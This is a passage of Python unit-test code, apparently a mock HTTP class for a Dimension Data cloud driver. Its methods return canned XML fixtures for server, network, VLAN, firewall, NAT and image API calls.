_oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server(self, method, url, body, headers): body = self.fixtures.load( '_oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_networkWithLocation(self, method, url, body, headers): if method is "POST": request = ET.fromstring(body) if request.tag != "{http://oec.api.opsource.net/schemas/network}NewNetworkWithLocation": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_networkWithLocation.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_networkWithLocation_NA9(self, method, url, body, headers): body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_networkWithLocation.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_4bba37be_506f_11e3_b29c_001517c4643e(self, method, url, body, headers): body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_4bba37be_506f_11e3_b29c_001517c4643e.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_disk_1_changeSize(self, method, url, body, headers): body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_disk_1_changeSize.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_disk_1_changeSpeed(self, method, url, body, headers): body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_disk_1_changeSpeed.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_disk_1(self, method, url, body, headers): action = url.split('?')[-1] if action == 'delete': body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_disk_1.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87(self, method, url, body, headers): if method == 'GET': body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) if method == 'POST': body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_e75ead52_692f_4314_8725_c8a4f4d13a87_POST.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_antiAffinityRule(self, method, url, body, headers): body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_antiAffinityRule_create.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_antiAffinityRule_FAIL_EXISTING(self, method, url, body, headers): body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_antiAffinityRule_create_FAIL.xml' ) return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_antiAffinityRule_07e3621a_a920_4a9a_943c_d8021f27f418(self, method, url, body, headers): body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_antiAffinityRule_delete.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_antiAffinityRule_07e3621a_a920_4a9a_943c_d8021f27f418_FAIL(self, method, url, body, headers): body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_antiAffinityRule_delete_FAIL.xml' ) return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server(self, method, url, body, headers): body = self.fixtures.load( 'server.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_deleteServer(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}deleteServer": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_deleteServer.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_deleteServer_INPROGRESS(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}deleteServer": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_deleteServer_RESOURCEBUSY.xml') return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_rebootServer(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}rebootServer": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_rebootServer.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_rebootServer_INPROGRESS(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}rebootServer": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_rebootServer_RESOURCEBUSY.xml') return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_server(self, method, url, body, headers): if url.endswith('datacenterId=NA3'): body = self.fixtures.load( '2.4/server_server_NA3.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) body = self.fixtures.load( '2.4/server_server.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_server_PAGESIZE50(self, method, url, body, headers): if not url.endswith('pageSize=50'): raise ValueError("pageSize is not set as expected") body = self.fixtures.load( '2.4/server_server.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_server_EMPTY(self, method, url, body, headers): body = self.fixtures.load( 'server_server_paginated_empty.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_server_PAGED_THEN_EMPTY(self, method, url, body, headers): if 'pageNumber=2' in url: body = self.fixtures.load( 'server_server_paginated_empty.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) else: body = self.fixtures.load( '2.4/server_server_paginated.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_server_PAGINATED(self, method, url, body, headers): if 'pageNumber=2' in url: body = self.fixtures.load( '2.4/server_server.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) else: body = self.fixtures.load( '2.4/server_server_paginated.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_server_PAGINATEDEMPTY(self, method, url, body, headers): body = self.fixtures.load( 'server_server_paginated_empty.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_server_ALLFILTERS(self, method, url, body, headers): (_, params) = url.split('?') parameters = params.split('&') for parameter in parameters: (key, value) = parameter.split('=') if key == 'datacenterId': assert value == 'fake_loc' elif key == 'networkId': assert value == 'fake_network' elif key == 'networkDomainId': assert value == 'fake_network_domain' elif key == 'vlanId': assert value == 'fake_vlan' elif key == 'ipv6': assert value == 'fake_ipv6' elif key == 'privateIpv4': assert value == 'fake_ipv4' elif key == 'name': assert value == 'fake_name' elif key == 'state': assert value == 'fake_state' elif key == 'started': assert value == 'True' elif key == 'deployed': assert value == 'True' elif key == 'sourceImageId': assert value == 'fake_image' else: raise ValueError("Could not find in url parameters {0}:{1}".format(key, value)) body = self.fixtures.load( '2.4/server_server.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_antiAffinityRule(self, method, url, body, headers): body = self.fixtures.load( 'server_antiAffinityRule_list.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_antiAffinityRule_ALLFILTERS(self, method, url, body, headers): (_, params) = url.split('?') parameters = params.split('&') for parameter in parameters: (key, value) = parameter.split('=') if key == 'id': assert value == 'FAKE_ID' elif key == 'state': assert value == 'FAKE_STATE' elif key == 'pageSize': assert value == '250' elif key == 'networkDomainId': pass else: raise ValueError("Could not find in url parameters {0}:{1}".format(key, value)) body = self.fixtures.load( 'server_antiAffinityRule_list.xml' ) return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_antiAffinityRule_PAGINATED(self, method, url, body, headers): if 'pageNumber=2' in url: body = self.fixtures.load( 'server_antiAffinityRule_list.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) else: body = self.fixtures.load( 'server_antiAffinityRule_list_PAGINATED.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_infrastructure_datacenter(self, method, url, body, headers): if url.endswith('id=NA9'): body = self.fixtures.load( 'infrastructure_datacenter_NA9.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) body = self.fixtures.load( 'infrastructure_datacenter.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_infrastructure_datacenter_ALLFILTERS(self, method, url, body, headers): if url.endswith('id=NA9'): body = self.fixtures.load( 'infrastructure_datacenter_NA9.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) body = self.fixtures.load( 'infrastructure_datacenter.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_updateVmwareTools(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}updateVmwareTools": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_updateVmwareTools.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_startServer(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}startServer": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_startServer.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_startServer_INPROGRESS(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}startServer": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_startServer_INPROGRESS.xml') return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_shutdownServer(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}shutdownServer": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_shutdownServer.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_shutdownServer_INPROGRESS(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}shutdownServer": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_shutdownServer_INPROGRESS.xml') return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_resetServer(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}resetServer": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_resetServer.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_powerOffServer(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}powerOffServer": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_powerOffServer.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_powerOffServer_INPROGRESS(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}powerOffServer": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_powerOffServer_INPROGRESS.xml') return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_server_11_INPROGRESS( self, method, url, body, headers): body = self.fixtures.load('2.4/server_GetServer.xml') return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_networkDomain(self, method, url, body, headers): body = self.fixtures.load( 'network_networkDomain.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_networkDomain_ALLFILTERS(self, method, url, body, headers): (_, params) = url.split('?') parameters = params.split('&') for parameter in parameters: (key, value) = parameter.split('=') if key == 'datacenterId': assert value == 'fake_location' elif key == 'type': assert value == 'fake_plan' elif key == 'name': assert value == 'fake_name' elif key == 'state': assert value == 'fake_state' else: raise ValueError("Could not find in url parameters {0}:{1}".format(key, value)) body = self.fixtures.load( 'network_networkDomain.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_vlan(self, method, url, body, headers): body = self.fixtures.load( 'network_vlan.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_vlan_ALLFILTERS(self, method, url, body, headers): (_, params) = url.split('?') parameters = params.split('&') for parameter in parameters: (key, value) = parameter.split('=') if key == 'datacenterId': assert value == 'fake_location' elif key == 'networkDomainId': assert value == 'fake_network_domain' elif key == 'ipv6Address': assert value == 'fake_ipv6' elif key == 'privateIpv4Address': assert value == 'fake_ipv4' elif key == 'name': assert value == 'fake_name' elif key == 'state': assert value == 'fake_state' else: raise ValueError("Could not find in url parameters {0}:{1}".format(key, value)) body = self.fixtures.load( 'network_vlan.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_deployServer(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}deployServer": raise InvalidRequestError(request.tag) # Make sure the we either have a network tag with an IP or networkId # Or Network info with a primary nic that has privateip or vlanid network = request.find(fixxpath('network', TYPES_URN)) network_info = request.find(fixxpath('networkInfo', TYPES_URN)) if network is not None: if network_info is not None: raise InvalidRequestError("Request has both MCP1 and MCP2 values") ipv4 = findtext(network, 'privateIpv4', TYPES_URN) networkId = findtext(network, 'networkId', TYPES_URN) if ipv4 is None and networkId is None: raise InvalidRequestError('Invalid request MCP1 requests need privateIpv4 or networkId') elif network_info is not None: if network is not None: raise InvalidRequestError("Request has both MCP1 and MCP2 values") primary_nic = network_info.find(fixxpath('primaryNic', TYPES_URN)) ipv4 = findtext(primary_nic, 'privateIpv4', TYPES_URN) vlanId = findtext(primary_nic, 'vlanId', TYPES_URN) if ipv4 is None and vlanId is None: raise InvalidRequestError('Invalid request MCP2 requests need privateIpv4 or vlanId') else: raise InvalidRequestError('Invalid request, does not have network or network_info in XML') body = self.fixtures.load( 'server_deployServer.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_server_e75ead52_692f_4314_8725_c8a4f4d13a87(self, method, url, body, headers): body = self.fixtures.load( '2.4/server_server_e75ead52_692f_4314_8725_c8a4f4d13a87.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_deployNetworkDomain(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}deployNetworkDomain": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'network_deployNetworkDomain.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_networkDomain_8cdfd607_f429_4df6_9352_162cfc0891be(self, method, url, body, headers): body = self.fixtures.load( 'network_networkDomain_8cdfd607_f429_4df6_9352_162cfc0891be.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_networkDomain_8cdfd607_f429_4df6_9352_162cfc0891be_ALLFILTERS(self, method, url, body, headers): body = self.fixtures.load( 'network_networkDomain_8cdfd607_f429_4df6_9352_162cfc0891be.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_editNetworkDomain(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}editNetworkDomain": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'network_editNetworkDomain.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_deleteNetworkDomain(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}deleteNetworkDomain": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'network_deleteNetworkDomain.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_deployVlan(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}deployVlan": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'network_deployVlan.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_vlan_0e56433f_d808_4669_821d_812769517ff8(self, method, url, body, headers): body = self.fixtures.load( 'network_vlan_0e56433f_d808_4669_821d_812769517ff8.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_editVlan(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}editVlan": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'network_editVlan.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_deleteVlan(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}deleteVlan": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'network_deleteVlan.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_expandVlan(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}expandVlan": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'network_expandVlan.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_addPublicIpBlock(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}addPublicIpBlock": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'network_addPublicIpBlock.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_publicIpBlock_4487241a_f0ca_11e3_9315_d4bed9b167ba(self, method, url, body, headers): body = self.fixtures.load( 'network_publicIpBlock_4487241a_f0ca_11e3_9315_d4bed9b167ba.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_publicIpBlock(self, method, url, body, headers): body = self.fixtures.load( 'network_publicIpBlock.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_publicIpBlock_9945dc4a_bdce_11e4_8c14_b8ca3a5d9ef8(self, method, url, body, headers): body = self.fixtures.load( 'network_publicIpBlock_9945dc4a_bdce_11e4_8c14_b8ca3a5d9ef8.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_removePublicIpBlock(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}removePublicIpBlock": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'network_removePublicIpBlock.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_firewallRule(self, method, url, body, headers): body = self.fixtures.load( 'network_firewallRule.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_createFirewallRule(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}createFirewallRule": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'network_createFirewallRule.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_firewallRule_d0a20f59_77b9_4f28_a63b_e58496b73a6c(self, method, url, body, headers): body = self.fixtures.load( 'network_firewallRule_d0a20f59_77b9_4f28_a63b_e58496b73a6c.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_editFirewallRule(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}editFirewallRule": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'network_editFirewallRule.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_deleteFirewallRule(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}deleteFirewallRule": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'network_deleteFirewallRule.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_createNatRule(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}createNatRule": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'network_createNatRule.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_natRule(self, method, url, body, headers): body = self.fixtures.load( 'network_natRule.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_natRule_2187a636_7ebb_49a1_a2ff_5d617f496dce(self, method, url, body, headers): body = self.fixtures.load( 'network_natRule_2187a636_7ebb_49a1_a2ff_5d617f496dce.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_network_deleteNatRule(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}deleteNatRule": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'network_deleteNatRule.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_addNic(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}addNic": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_addNic.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_removeNic(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}removeNic": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_removeNic.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_disableServerMonitoring(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}disableServerMonitoring": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_disableServerMonitoring.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_enableServerMonitoring(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}enableServerMonitoring": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_enableServerMonitoring.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_changeServerMonitoringPlan(self, method, url, body, headers): request = ET.fromstring(body) if request.tag != "{urn:didata.com:api:cloud:types}changeServerMonitoringPlan": raise InvalidRequestError(request.tag) body = self.fixtures.load( 'server_changeServerMonitoringPlan.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_image_osImage(self, method, url, body, headers): body = self.fixtures.load( '2.4/image_osImage.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_image_osImage_c14b1a46_2428_44c1_9c1a_b20e6418d08c(self, method, url, body, headers): body = self.fixtures.load( '2.4/image_osImage_c14b1a46_2428_44c1_9c1a_b20e6418d08c.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_image_osImage_6b4fb0c7_a57b_4f58_b59c_9958f94f971a(self, method, url, body, headers): body = self.fixtures.load( '2.4/image_osImage_6b4fb0c7_a57b_4f58_b59c_9958f94f971a.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_image_osImage_5234e5c7_01de_4411_8b6e_baeb8d91cf5d(self, method, url, body, headers): body = self.fixtures.load( 'image_osImage_BAD_REQUEST.xml') return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_image_osImage_2ffa36c8_1848_49eb_b4fa_9d908775f68c(self, method, url, body, headers): body = self.fixtures.load( 'image_osImage_BAD_REQUEST.xml') return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_image_osImage_FAKE_IMAGE_ID(self, method, url, body, headers): body = self.fixtures.load( 'image_osImage_BAD_REQUEST.xml') return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_image_customerImage(self, method, url, body, headers): body = self.fixtures.load( '2.4/image_customerImage.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _caas_2_4_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_image_customerImage_5234e5c7_01de_4411_8b6e_baeb8d91cf5d(self, method, url, body, headers): body = self.fixtures.load( '2.4/image_customerImage_5234e5c7_01de_4411_8b6e_baeb8d91cf5d.xml') return 